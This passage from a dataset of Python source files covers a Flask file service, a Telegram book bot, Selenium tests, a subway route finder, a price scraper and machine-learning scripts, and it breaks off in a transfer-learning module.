request: http request\n :return:\n \"\"\"\n table = DataTable(\n model=VSFile,\n columns=[VSFile.id, VSFile.title],\n sortable=[VSFile.id],\n searchable=[VSFile.title],\n filterable=[],\n limits=[25, 50, 100],\n request=request\n )\n\n res_data = {}\n files_data = []\n files = table.items()\n for file in files:\n files_data.append(file.to_dict())\n\n res_data['total'] = table.total()\n res_data['data'] = files_data\n\n return 20000, res_data, '文件基本信息列表查询成功'\n\n @classmethod\n def update(cls, id: int, request) -> (bool, dict, str):\n \"\"\"\n :param id : 文件id\n :param request: http request\n :return:\n \"\"\"\n\n if request.is_json:\n args_data = request.get_json()\n else:\n args_data = json.loads(request.data)\n\n file = VSFile.query.filter_by(id=id).first_or_404()\n if file:\n new_file = file.update(**args_data)\n else:\n return 50000, {}, '文件基本信息更新失败'\n\n return 20000, new_file.to_dict(), '文件基本信息更新成功'\n\n @classmethod\n def create(cls, request) -> (bool, dict, str):\n \"\"\"\n :param request: http request\n :return:\n \"\"\"\n\n if request.is_json:\n args_data = request.get_json()\n else:\n args_data = json.loads(request.data)\n\n file = VSFile.create(**args_data)\n if file:\n return 20000, file.to_dict(), '文件基本信息创建成功'\n\n return 50000, None, '文件基本信息创建失败'\n\n @classmethod\n def delete(cls, id: int) -> (bool, dict, str):\n \"\"\"\"\n :param id 文件id\n \"\"\"\n file = VSFile.query.filter_by(id=id).first_or_404()\n if file:\n return 20000, file.delete(), '文件基本信息删除成功'\n\n return 50000, None, '文件基本信息删除失败'\n\n\n","sub_path":"app/vsdoc/service/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":2660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"239109391","text":"import pathlib\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import tree\nfrom sklearn.linear_model import LinearRegression\n\nfrom sklearn.tree import DecisionTreeClassifier # Import Decision Tree Classifier\n\n# create the output directory if it does not exist\npathlib.Path('./output').mkdir(exist_ok=True)\n\nprint('*' * 20)\nprint('Question 1')\nprint('*' * 20)\n\ndf_1 = pd.read_csv('./specs/marks_question1.csv')\n\n# Q1.1\nmidterm = df_1['midterm']\nfinal = df_1['final']\n\nfig = plt.figure()\nplt.scatter(midterm, final)\n# plt.show()\nplt.savefig('./output/marks.png')\n\n# Q1.2\nmidterm = df_1['midterm'].values.reshape(-1, 1)\nfinal = df_1['final'].values\n\nreg = LinearRegression().fit(midterm, final)\nprint(reg.predict(midterm))\n\n# Q1.3\ntestValue = np.array([86]).reshape(-1, 1)\nprint(\"\\n86 Should result in:\")\nprint(reg.predict(testValue))\n\nprint('*' * 20)\nprint('Question 2')\nprint('*' * 20)\n\ndf_2 = pd.read_csv('./specs/borrower_question2.csv')\n\n# Q2.1\ndf_2 = df_2.drop('TID', axis=1)\n\n# Q2.2\n# Convert data to numeric values\ndf_2['HomeOwner'] = df_2['HomeOwner'].map({'No': 0, 'Yes': 1})\ndf_2['MaritalStatus'] = df_2['MaritalStatus'].map({'Single': 0, 'Married': 1, 'Divorced': 2})\ndf_2['DefaultedBorrower'] = df_2['DefaultedBorrower'].map({'No': 0, 'Yes': 1})\n\n# Get data\ntrainingData = df_2.drop('DefaultedBorrower', axis=1)\ntargetData = df_2['DefaultedBorrower']\n\n# Create Decision Tree classifer object\nclf1 = DecisionTreeClassifier(criterion=\"entropy\", min_impurity_decrease=0.5)\n\n# Train Decision Tree Classifer\nclf1 = clf1.fit(trainingData, targetData)\n\nplt.figure()\ntree.plot_tree(clf1, filled=True)\nplt.savefig('./output/high_tree.png', format='png', bbox_inches=\"tight\")\n\n# Q2.3\nclf2 = DecisionTreeClassifier(min_impurity_decrease=0.1, criterion='entropy')\n\nclf2 = clf2.fit(trainingData, targetData)\n\nplt.figure()\ntree.plot_tree(clf2, filled=True)\nplt.savefig('./output/low_tree.png', format='png', bbox_inches=\"tight\")","sub_path":"Y4/Data mining - Y4S1/p4/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"466954881","text":"import logging\nimport http.client\nimport config\nimport json\nfrom .observer import Observer\n\nclass Logger(Observer):\n def opportunity(self, profit, volume, buyprice, kask, sellprice, kbid, perc,\n weighted_buyprice, weighted_sellprice):\n params = {'profit': profit, 'volume': volume, 'buyprice' : buyprice, 'kask' : kask, 'sellprice' : sellprice, 'kbid' : kbid, 'perc' : perc, 'weighted_buyprice' : weighted_buyprice, 'weighted_sellprice' : weighted_sellprice }\n json_dump = json.dumps(params)\n headers = {\"Content-type\": \"application/json\",\"Accept\": \"application/json\"}\n conn = http.client.HTTPConnection(config.posterhost)\n conn.request(\"POST\", config.posterurl, json_dump, headers)\n response = conn.getresponse()\n data = response.read().decode()\n logging.warn(\"[HTTP Observer] - posted data to %s\" % config.posterhost)\n logging.warn(data)\n conn.close()\t\n logging.info(\"profit: %f USD with volume: %f BTC - buy at %.4f (%s) sell at %.4f (%s) ~%.2f%%\" % (profit, volume, buyprice, kask, sellprice, kbid, perc))\n\n\t\t\n\t\t","sub_path":"arbitrage/observers/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"423542341","text":"import pandas as pd\nimport argparse\nfrom datetime import datetime\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-f', '--file')\nargs = parser.parse_args()\n\nif args.file:\n filename = args.file\nelse:\n filename = input('Enter filename (including \\'.csv\\'): ')\n\ndf = pd.read_csv(filename)\nbitstreams = df.bitstream.str.rsplit('.', 1)\next = [x[1] for x in bitstreams]\next = [e.lower() for e in ext]\ndf['ext'] = ext\n\npivoted = pd.pivot_table(df, index=['handle'], values=['ext', 'bitstream'], aggfunc=lambda x: ','.join(str(v) for v in x))\nprint(pivoted.sort_values(ascending=True, by='handle').head())\n\ndf = pd.DataFrame(pivoted)\ndf = df.reset_index()\n\nunique = []\npres_list = []\nfor index, value in df.ext.items():\n values = value.split(',')\n values = list(set(values))\n unique.append(values)\n pres = []\n if len(values) == 1:\n pres.append(values[0])\n else:\n for v in values:\n if v == 'tif':\n pres.append(v)\n elif v == 'tiff':\n pres.append(v)\n elif v == 'jp2':\n pres.append(v)\n else:\n pass\n pres_list.append(pres)\n\ndf['unique'] = unique\ndf['pres'] = pres_list\ndel df['ext']\n\npres_bits = []\nfor index, value in df.bitstream.items():\n exts = df.at[index, 'pres']\n bits = []\n values = value.split(',')\n print(values)\n for v in values:\n v_list = v.rsplit('.', 1)\n try:\n if v_list[1].lower() in exts:\n bits.append(v)\n else:\n pass\n except IndexError:\n pass\n pres_bits.append(bits)\n\ndf['pres_bits'] = pres_bits\n\nprint(df.head)\ndt = datetime.now().strftime('%Y-%m-%d %H.%M.%S')\nnew_name = filename.replace('.csv', '').replace('handlesAndBitstreams', '')\ndf.to_csv(path_or_buf='sample_'+dt+'.csv', header='column_names', encoding='utf-8', sep=',', index=False)\n","sub_path":"DSpace/findPreservationFiles.py","file_name":"findPreservationFiles.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"631830959","text":"# coding : utf-8\n# Author:Liujiu\n# Time:2019/7/8 16:34\n# File:search\n\nimport json, os\n\ndef load_file():\n with open(r'./sub_info.json', 'r', encoding='utf-8') as f:\n sub_info = json.load(f)\n return sub_info\n\nsub_info = load_file()\nlines = list(sub_info.keys())\nstations = list(sub_info.values())\n\ndef build_info(sub_info, lines):\n # 获取中转的信息,即从一条线转到另一条线的站点\n line_link = {} # 保存线A能转乘的线 B,C...\n transfer_station = {} # 保存线A能转乘的线 B,C... 所对应的站s1,s2...\n for i in range(len(lines)-1):\n for j in range(i+1, len(lines)):\n\n for s in sub_info[lines[i]]:\n if s in sub_info[lines[j]]:\n if lines[i] not in line_link.keys():\n line_link[lines[i]] = []\n if lines[j] not in line_link.keys():\n line_link[lines[j]] = []\n if lines[i] not in transfer_station.keys():\n transfer_station[lines[i]] = []\n if lines[j] not in transfer_station.keys():\n transfer_station[lines[j]] = []\n\n if lines[j] not in line_link[lines[i]]:\n line_link[lines[i]] += [lines[j]]\n line_link[lines[j]] += [lines[i]]\n transfer_station[lines[i]] += [s]\n transfer_station[lines[j]] += [s]\n\n return line_link, transfer_station\n\nline_link, transfer_station = build_info(sub_info, lines)\n\ndef find_lines(start, target):\n # 获取出发地和目的地所在的线\n start_dict, target_dict = {}, {}\n start_dict[start], target_dict[target] = [], []\n for line in lines:\n if start in sub_info[line]:\n start_dict[start].append(line)\n if target in sub_info[line]:\n target_dict[target].append(line)\n return start_dict, target_dict\n# print(find_lines(\"南京站\",\"南大仙林校区站\"))\n\ndef find_station_arg(station, line):\n # 找到站点的序号\n arg = None\n for i, s in enumerate(sub_info[line]):\n if s == station:\n arg = i\n return arg\n\ndef is_link(line1, line2):\n all_path = [[line1]]\n visited = set()\n while all_path:\n path = all_path.pop(0)\n current_line = path[-1]\n if current_line in visited: continue\n\n next_lines = line_link[current_line]\n for next_line in next_lines:\n new_path = path + [next_line]\n all_path.append(new_path)\n if next_line == line2: return new_path\n visited.add(current_line)\n# print(is_link('南京地铁1号线', '南京地铁S9号线'))\n\ndef search(start, target):\n start_dict, target_dict = find_lines(start, target)\n\n routes = []\n in_same_line = False\n for line in start_dict[start]:\n if line in target_dict[target]:\n # 如果在同一条线, 显然能到达,直接给出路线\n in_same_line = True\n route =[]\n start_index = find_station_arg(start, line)\n target_index = find_station_arg(target, line)\n if start_index >= target_index:\n while start_index >= target_index:\n route.append(sub_info[line][start_index])\n start_index -= 1\n else:\n while start_index <= target_index:\n route.append(sub_info[line][start_index])\n start_index += 1\n route.append(len(route))\n route.append(0)\n routes.append(route)\n # 不在同一条线上,则需要中转\n if not in_same_line:\n for line1 in start_dict[start]:\n for line2 in target_dict[target]:\n # 找到需要转乘的线\n lines = is_link(line1, line2)\n # 同时需要找到两条线之间的转乘站\n transfer_station_ = []\n for l in range(len(lines)-1):\n for i, tl in enumerate(line_link[lines[l]]):\n if tl == lines[l+1]:\n transfer_station_.append(transfer_station[lines[l]][i])\n # print(transfer_station_)\n # 从start到transfer_station_[0],在从transfer_station_[0]到transfer_station_[1],...,\n # 最后从transfer_station_[n]到target, 给出具体的路线\n route = []\n for l in range(len(lines)):\n if l == 0:\n index_prev = find_station_arg(start, lines[l])\n index_next = find_station_arg(transfer_station_[l], lines[l])\n elif l == len(lines)-1:\n index_prev = find_station_arg(transfer_station_[l-1], lines[l])\n index_next = find_station_arg(target, lines[l])\n else:\n index_prev = find_station_arg(transfer_station_[l-1], lines[l])\n index_next = find_station_arg(transfer_station_[l], lines[l])\n # print(index_prev , index_next)\n if index_prev <= index_next:\n if l != 0: index_prev += 1\n while index_prev <= index_next:\n route.append(sub_info[lines[l]][index_prev])\n index_prev += 1\n else:\n if l != 0: index_prev -= 1\n while index_prev >= index_next:\n route.append(sub_info[lines[l]][index_prev])\n index_prev -= 1\n route.append(len(route))\n route.append(len(lines))\n routes.append(route)\n return routes\n\n# 在同一条线\n# print(search(\"新街口站\", \"南京南站\"))\n# 不在同一条线上\n# print(search('玄武门站',\"明觉站\"))\n\nif __name__ == '__main__':\n\n # print('南京地铁能直达的地点:{}'.format(stations))\n start = input(\"我在那儿:\")\n target = input(\"我要去:\")\n assert start not in stations or target not in stations, '出发点或目的地不再地铁所在范围内!'\n routes = search(start, target)\n print('你有{}条路线:'.format(len(routes)))\n for i, route in enumerate(routes):\n print(\"第\"+str(i+1)+\"条路线:\"+'->'.join(route[:-2]))\n print('需要转乘{}次, 共{}站。'.format(route[-1], route[-2]))\n\n\n\n\n\n\n\n\n","sub_path":"lesson-02/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":6507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"635118331","text":"# coding=utf-8\n\nimport seismograph\nfrom seismograph.ext import selenium\nfrom auth_test import Auth\nfrom pages.feed_page import FeedPage\nfrom pages.profile_page import ProfilePage\nfrom pages.video_page import VideoPage\nfrom pages.photo_page import PhotoPage\nfrom pages.someone_post_page import ElsePostPage\n\n\nPUBLISHED = u'Опубликовано!'\nHIDDEN = u'скрыто'\n\nsuite = selenium.Suite(__name__)\n\n\n@suite.register\nclass TestRepostVideo(Auth):\n @seismograph.step(2, 'Test repost video')\n def repost_video(self, browser):\n video_page = VideoPage(browser)\n video_page.open()\n video_page.open_menu()\n val = video_page.repost_video()\n self.assertion.is_in(PUBLISHED, val)\n\n\n@suite.register\nclass TestRepostPhoto(Auth):\n @seismograph.step(2, 'Test repost photo')\n def repost_photo(self, browser):\n photo_page = PhotoPage(browser)\n photo_page.open()\n photo_page.open_menu()\n val = photo_page.repost_photo()\n self.assertion.is_in(PUBLISHED, val)\n\n\ndef repost(browser):\n else_post_page = ElsePostPage(browser)\n else_post_page.open()\n else_post_page.open_menu()\n return else_post_page.make_repost()\n\n\n@suite.register\nclass TestRepostElsePost(Auth):\n @seismograph.step(2, 'Test repost else post')\n def repost_else_post(self, browser):\n val = repost(browser)\n self.assertion.is_in(PUBLISHED, val)\n\n\n@suite.register\nclass TestDoubleRepostElsePost(Auth):\n\n @seismograph.step(2, 'Test first repost else post')\n def first_double_repost_else_post(self, browser):\n val = repost(browser)\n self.assertion.is_in(PUBLISHED, val)\n\n @seismograph.step(3, 'Test second repost else post')\n def second_double_repost_else_post(self, browser):\n val = repost(browser)\n self.assertion.is_in(PUBLISHED, val)\n\n\n@suite.register\nclass TestMakeFeedRepost(Auth):\n @seismograph.step(2, 'Test make feed repost')\n def make_feed_repost(self, browser):\n feed_page = FeedPage(browser)\n feed_page.get_popular_content()\n feed_page.open_menu_in_feed()\n val = feed_page.make_repost()\n self.assertion.is_in(PUBLISHED, val)\n\n\n@suite.register\nclass TestRepostFeedAndDelete(Auth):\n @seismograph.step(2, 'Test make feed repost')\n def make_feed_repost(self, browser):\n feed_page = FeedPage(browser)\n feed_page.get_popular_content()\n feed_page.open_menu_in_feed()\n val = feed_page.make_repost()\n self.assertion.is_in(PUBLISHED, val)\n\n @seismograph.step(3, 'Test delete repost')\n def repost_feed_and_delete(self, browser):\n profile_page = ProfilePage(browser)\n profile_page.open()\n val = profile_page.delete_my_post()\n self.assertion.is_in(HIDDEN, val)\n\n","sub_path":"tests/reshari_tests.py","file_name":"reshari_tests.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"334494244","text":"from ...telegram import Common\nfrom bookdl.database.files import BookdlFiles\nfrom bookdl.database.users import BookdlUsers\nfrom pyrogram import filters, emoji, Client\nfrom pyrogram.types import Message, InlineKeyboardMarkup, InlineKeyboardButton\n\n\n@Client.on_message(filters.command(\"start\", prefixes=[\"/\"]))\nasync def start_message_handler(c: Client, m: Message):\n await BookdlUsers().insert_user(m.from_user.id)\n if len(m.command) > 1:\n if m.command[1].split(\"-\")[0] == 'plf':\n mongo_id = m.command[1].split(\"-\", 1)[1]\n file_details = await BookdlFiles().get_file_by_mongo_id(mongo_id)\n\n if file_details is not None:\n file_message = await c.get_messages(\n chat_id=file_details['chat_id'],\n message_ids=file_details['msg_id'])\n\n await m.reply_document(document=file_message.document.file_id)\n else:\n await m.reply_text(\n text=f\"Hello! My name is **Bookdl Bot** {emoji.BOOKS} \\n\"\n \"I can help you download books try typing in inline mode\",\n reply_markup=InlineKeyboardMarkup([\n [\n InlineKeyboardButton(\n f'Search {emoji.MAGNIFYING_GLASS_TILTED_LEFT}',\n switch_inline_query_current_chat=\"\")\n ],\n [\n InlineKeyboardButton(\n f'Search from downloaded {emoji.MAGNIFYING_GLASS_TILTED_LEFT}',\n switch_inline_query_current_chat=\"dl: \")\n ]\n ]))\n\n\n@Client.on_message(filters.command(\"help\", prefixes=[\"/\"]))\nasync def help_message_handler(c: Client, m: Message):\n await m.reply_text(\n text=\"Hello! I'm **BookdlBot.**\\n\"\n \"Original bot [SamfunBookdlBot](https://t.me/SamfunBookdlbot)\\n\"\n \"Source [Bookdlbot](https://github.com/Samfun75/BookdlBot)\\n\\n\"\n \"Here are the commands you can use:\\n\"\n \"/start : Start the bot.\\n\"\n \"/help: Show this helpful message\\n\\n\"\n \"You can also download books by sending the link if you have a book link from the following sites\\n\"\n \"library.lol, libgen.lc, libgen.gs or b-ok.cc\\n\\n\"\n \"Or you can send the book's md5 like so\\n\"\n \"MD5:a382109f7fdde3be5b2cb4f82d97443b\\n\\n\"\n \"Conversion to PDF from other ebook types is done using ConvertAPI\",\n disable_web_page_preview=True)\n\n\n@Client.on_message(group=-1)\nasync def stop_user_from_doing_anything(_, message: Message):\n allowed_users = Common().allowed_users\n if allowed_users and message.from_user:\n if message.from_user.id not in allowed_users:\n message.stop_propagation()\n else:\n message.continue_propagation()\n else:\n if message.from_user:\n message.continue_propagation()\n else:\n message.stop_propagation()\n","sub_path":"bookdl/telegram/plugins/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"307047819","text":"import numpy as np\nfrom read_data_extend import Reader, random_batch_generator, batch_generator\nclass Config():\n batch_size = 16\n \n # path\n root_path = \"../planet/\"\n imgs_path = root_path + \"train-jpg/\"\n labels_file = root_path + \"train_validation_v2_bin.csv\"\n\n usecols = range(1,18)\n\n#train again\nfrom keras.models import load_model\nmodel = load_model(\"./model/inception_v3_1_8.h5\")\n\n# only train full connection layer\nfor layer in model.layers:\n layer.trainable = False\nfor layer in model.layers[-2:]:\n layer.trainalbe = True\n\ntrain_config = Config()\nvalid_config = Config()\nvalid_config.labels_file = valid_config.root_path + \"validation_train_v2_bin.csv\"\n\nfor layer in model.layers[:25]:\n layer.trainable = False\nfor layer in model.layers[25:]:\n layer.trainable = True\n\nfrom keras.optimizers import SGD\nmodel.compile(optimizer=SGD(lr=0.0001, momentum=0.9), loss='categorical_crossentropy')\n\nfor case in xrange(6):\n train_config.case = case\n valid_config.case = case\n model.fit_generator(generator=random_batch_generator(train_config), steps_per_epoch=500, epochs=10, \n validation_data=batch_generator(valid_config), \n validation_steps=np.int32(np.ceil(4048/float(valid_config.batch_size))))\n\nmodel.save(\"./model/inception_v3_2_1.h5\")","sub_path":"Inception_v3/train_again.py","file_name":"train_again.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"419601799","text":"def pow_number(l):\n \"\"\"\n 根据给定的列表数据,计算里面每一项的立方\n :param l: 列表数据\n :return: 原来列表中每一项的立方\n \"\"\"\n rest_list = []\n for x in l :\n rest_list.append(x*x*x)\n return rest_list\n\ndef f(n):\n return n*n*n\ndef pow_num_use_map(l):\n \"\"\"\n 使用map函数计算给定项列表的每一次立方\n :param l: 列表数据\n :return: 原来列表的每一项的立方\n \"\"\"\n return map(f,l)\n\n#使用lambda函数\ndef pow_num_use_map_lambda(l):\n \"\"\"\n 使用map函数计算给定项列表的每一次立方\n :param l: 列表数据\n :return: 原来列表的每一项的立方\n \"\"\"\n return map(lambda n:n*n*n,l)\n\nif __name__ == '__main__':\n l = [1,2,3,4,5,6]\n rest = pow_number(l)\n print(rest)\n rest = pow_num_use_map(l)\n print(list(rest))\n print(\"_________________________________\")\n rest = pow_num_use_map_lambda(l)\n print(list(rest))\n","sub_path":"步骤二:python函数与模块/day19/什么是map函数.py","file_name":"什么是map函数.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"123064530","text":"import requests\nfrom bs4 import BeautifulSoup\nimport lxml\nimport json\nimport pandas as pd\nimport tqdm\nimport time\nfrom requests.exceptions import ConnectionError\nfrom requests.exceptions import ReadTimeout\n\n\ndef requests_get(*args1, **args2): # 被鎖時會每60秒重複嘗試request 總共5次\n i = 5\n while i >= 0:\n try:\n return requests.get(*args1, **args2)\n except (ConnectionError, ReadTimeout) as error:\n print(error)\n print('retry one more time after 60s', i, 'times left')\n sleep(60)\n i -= 1\n return pd.DataFrame()\n\n\nheaders = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n'Accept-Encoding': 'gzip, deflate, br',\n'Accept-Language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7',\n'Cache-Control': 'max-age=0',\n'Connection': 'keep-alive',\n'Cookie':'_ga=GA1.3.1401094577.1591692355; _gid=GA1.3.1354790245.1591692355; ASP.NET_SessionId=mjlg2fy3glc5fmrg1fi4vfwy',\n'Host': 'agridata.coa.gov.tw',\n'Sec-Fetch-Dest': 'document',\n'Sec-Fetch-Mode': 'navigate',\n'Sec-Fetch-Site': 'none',\n'Sec-Fetch-User': '?1',\n'Upgrade-Insecure-Requests': '1',\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'}\n\n\ndate = pd.date_range('2015-01-01','2020-06-01')\na= date.to_list()\n\ntotal_list=[]\nfor i in tqdm.tqdm(a) :\n i = str(i).replace(' 00:00:00','').replace('-','.')\n i = i.split('.')\n i[0] = str(int(i[0])-1911)\n date_new = i[0]+'.'+i[1]+'.'+i[2]\n url='https://agridata.coa.gov.tw/api/v1/AgriProductsTransType/?Start_time=103.07.01&End_time='+ date_new\n \n res = requests_get(url,headers = headers)\n soup = BeautifulSoup(res.text,'lxml')\n p = soup.find('p')\n \n context_json = json.loads(p.text)\n context = context_json['Data']\n \n for g in context:\n l=[]\n l.append(g['TransDate'])\n l.append(g['CropCode'])\n l.append(g['CropName'])\n l.append(g['MarketCode'])\n l.append(g['MarketName'])\n #l.append(g['Upper_Price'])\n #l.append(g['Middle_Price'])\n #l.append(g['Lower_Price'])\n l.append(g['Avg_Price'])\n l.append(g['Trans_Quantity'])\n total_list.append(l)\n if l == []:\n print('沒資料')\n continue\n \n\ndf = pd.DataFrame(total_list,columns = ['日期','產品碼','產品名','市場碼','市場名','平均價格','交易量'])\n\ndf.to_csv('total.csv',encoding='utf-8-sig')\n\n","sub_path":"data_crawl/food_crawl/food_price.py","file_name":"food_price.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"592426985","text":"#!/usr/bin/python\n\nimport matplotlib.pyplot as plt\n\nE6flt = 1000*1000.0\nE9int = 1000*1000*1000\n\n\n\ndef tracedirection2plot_name(dm, td):\n return src_dst2plot_name(dm, td.source(), td.destination())\n\ndef path2plot_name(dm, p):\n return src_dst2plot_name(dm, p.source(), p.destination())\n\n\ndef src_dst2plot_name(dm, src_ip, dst_ip):\n \"\"\" converts src/dst into readable form based on endnode names\"\"\"\n return \"{}--{}\".format(\n dm.ndm.getEndNodeByIp(src_ip).name,\n dm.ndm.getEndNodeByIp(dst_ip).name\n )\n\ndef path_pair_ids2legend_names(dm, path_pair_ids):\n out_legend_buf = []\n\n out_legend_buf.append(\"Forward path:\")\n\n path = dm.pdm.pid2Path[path_pair_ids[0]]\n for i, h in enumerate(path.hops):\n out_legend_buf.append(\"%2i) %s\" %(i, h))\n\n out_legend_buf.append(\" \")\n out_legend_buf.append(\"Reverse path:\")\n path = dm.pdm.pid2Path[path_pair_ids[1]]\n for i, h in enumerate(path.hops):\n out_legend_buf.append(\"%2i) %s\" %(i, h))\n\n return out_legend_buf\n\n\ndef get_new_figure():\n \"\"\" returns a figure with default common configuration \"\"\"\n return plt.figure(dpi=1000, figsize=(18,10))\n\ndef close_figure():\n\n # cleanup\n plt.clf()\n plt.cla()\n plt.close()\n","sub_path":"Phase_2/path_classifier/datavis/viscommon.py","file_name":"viscommon.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"141066769","text":"import numpy as np\nimport pandas as pd\nfrom PyEMD import EMD, Visualisation\nimport scipy\nimport math\nimport scipy.io\nimport scipy.linalg\n\nimport sklearn.metrics\nimport sklearn.neighbors\nfrom sklearn import metrics\nfrom sklearn import svm\n\nimport matplotlib.pyplot as plt\n\nimport torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader, Dataset, TensorDataset\n\nimport ipdb\n\n# Utilities\ndef normalize(V):\n return ( V - min(V.flatten()) ) / ( max(V.flatten()) - min(V.flatten()) )\n\n\ndef sliding_window(T, T_org, seq_len, label_seq_len):\n\n # seq_len is equal to window_size\n # T (np.array) has dim: population, seq_len (window length)\n TT = T.reshape(-1, 1)\n K = TT.shape[0] - seq_len - label_seq_len + 1 # Li, et al., 2021, TRJ part C, pp. 8\n \n TT_org = T_org.reshape(-1, 1)\n\n # TT has dim: n, 1\n # assemble the data into 2D\n x_set = np.vstack(TT[i : K+i, 0] for i in range(seq_len)).T\n y_set = np.vstack(TT_org[i+seq_len : K+seq_len+i, 0] for i in range(label_seq_len)).T\n \n assert x_set.shape[0] == y_set.shape[0]\n\n # return size: n_samp, seq_len\n return x_set, y_set\n\n\ndef var_name(var, all_var=locals()):\n # get the name of the variable\n return [var_name for var_name in all_var if all_var[var_name] is var][0]\n\n\ndef np2csv(A):\n # store numpy to local csv file\n if type(A) == torch.Tensor:\n np.savetxt('./outputs/BDA/'+var_name(A)+'.csv', A.detach().numpy(), delimiter=',')\n elif type(A) == np.ndarray:\n np.savetxt('./outputs/BDA/'+var_name(A)+'.csv', A, delimiter=',')\n\n\n# BDA part\ndef kernel(ker, X1, X2, gamma):\n K = None\n if not ker or ker == 'primal':\n K = X1\n elif ker == 'linear':\n if X2 is not None:\n K = sklearn.metrics.pairwise.linear_kernel(\n np.asarray(X1).T, np.asarray(X2).T)\n else:\n K = sklearn.metrics.pairwise.linear_kernel(np.asarray(X1).T)\n elif ker == 'rbf':\n if X2 is not None:\n K = sklearn.metrics.pairwise.rbf_kernel(\n np.asarray(X1).T, np.asarray(X2).T, gamma)\n else:\n K = sklearn.metrics.pairwise.rbf_kernel(\n np.asarray(X1).T, None, gamma)\n return K\n\n\ndef proxy_a_distance(source_X, target_X):\n \"\"\"\n Compute the Proxy-A-Distance of a source/target representation\n \"\"\"\n nb_source = np.shape(source_X)[0]\n nb_target = np.shape(target_X)[0]\n\n train_X = np.vstack((source_X, target_X))\n train_Y = np.hstack((np.zeros(nb_source, dtype=int),\n np.ones(nb_target, dtype=int)))\n\n clf = svm.LinearSVC(random_state=0)\n clf.fit(train_X, train_Y)\n y_pred = clf.predict(train_X)\n error = metrics.mean_absolute_error(train_Y, y_pred)\n dist = 2 * (1 - 2 * error)\n return dist\n\n\ndef estimate_mu(_X1, _Y1, _X2, _Y2):\n adist_m = proxy_a_distance(_X1, _X2)\n C = len(np.unique(_Y1))\n epsilon = 1e-3\n list_adist_c = []\n for i in range(1, C + 1):\n ind_i, ind_j = np.where(_Y1 == i), np.where(_Y2 == i)\n Xsi = _X1[ind_i[0], :]\n Xtj = _X2[ind_j[0], :]\n adist_i = proxy_a_distance(Xsi, Xtj)\n list_adist_c.append(adist_i)\n adist_c = sum(list_adist_c) / C\n mu = adist_c / (adist_c + adist_m)\n if mu > 1:\n mu = 1\n if mu < epsilon:\n mu = 0\n return mu\n\n\nclass BDA:\n def __init__(self, kernel_type='primal', dim=30, lamb=1, mu=0.5, gamma=1, T=10, mode='BDA', estimate_mu=False):\n '''\n Init func\n :param kernel_type: kernel, values: 'primal' | 'linear' | 'rbf'\n :param dim: dimension after transfer\n :param lamb: lambda value in equation\n :param mu: mu. Default is -1, if not specificied, it calculates using A-distance\n :param gamma: kernel bandwidth for rbf kernel\n :param T: iteration number\n :param mode: 'BDA' | 'WBDA'\n :param estimate_mu: True | False, if you want to automatically estimate mu instead of manally set it\n '''\n self.kernel_type = kernel_type\n self.dim = dim\n self.lamb = lamb\n self.mu = mu\n self.gamma = gamma\n self.T = T\n self.mode = mode\n self.estimate_mu = estimate_mu\n\n def fit(self, Xs, Ys, Xt, Yt):\n '''\n Transform and Predict using 1NN as JDA paper did\n :param Xs: ns * n_feature, source feature\n :param Ys: ns * 1, source label\n :param Xt: nt * n_feature, target feature\n :param Yt: nt * 1, target label\n :return: acc, y_pred, list_acc\n '''\n #ipdb.set_trace()\n list_acc = []\n X = np.hstack((Xs.T, Xt.T)) # X.shape: [n_feature, ns+nt]\n X /= np.linalg.norm(X, axis=0) # why it's axis=0?\n m, n = X.shape\n ns, nt = len(Xs), len(Xt)\n e = np.vstack((1 / ns * np.ones((ns, 1)), -1 / nt * np.ones((nt, 1))))\n C = len(np.unique(Ys))\n H = np.eye(n) - 1 / n * np.ones((n, n))\n mu = self.mu\n M = 0\n Y_tar_pseudo = None\n Xs_new = None\n for t in range(self.T):\n N = 0\n M0 = e * e.T * C\n if Y_tar_pseudo is not None and len(Y_tar_pseudo) == nt:\n for c in range(1, C + 1):\n e = np.zeros((n, 1))\n Ns = len(Ys[np.where(Ys == c)])\n Nt = len(Y_tar_pseudo[np.where(Y_tar_pseudo == c)])\n\n if self.mode == 'WBDA':\n Ps = Ns / len(Ys)\n Pt = Nt / len(Y_tar_pseudo)\n alpha = Pt / Ps\n mu = 1\n else:\n alpha = 1\n\n tt = Ys == c\n e[np.where(tt == True)] = 1 / Ns\n yy = Y_tar_pseudo == c\n ind = np.where(yy == True)\n inds = [item + ns for item in ind]\n e[tuple(inds)] = -alpha / Nt\n e[np.isinf(e)] = 0 # ?\n N = N + 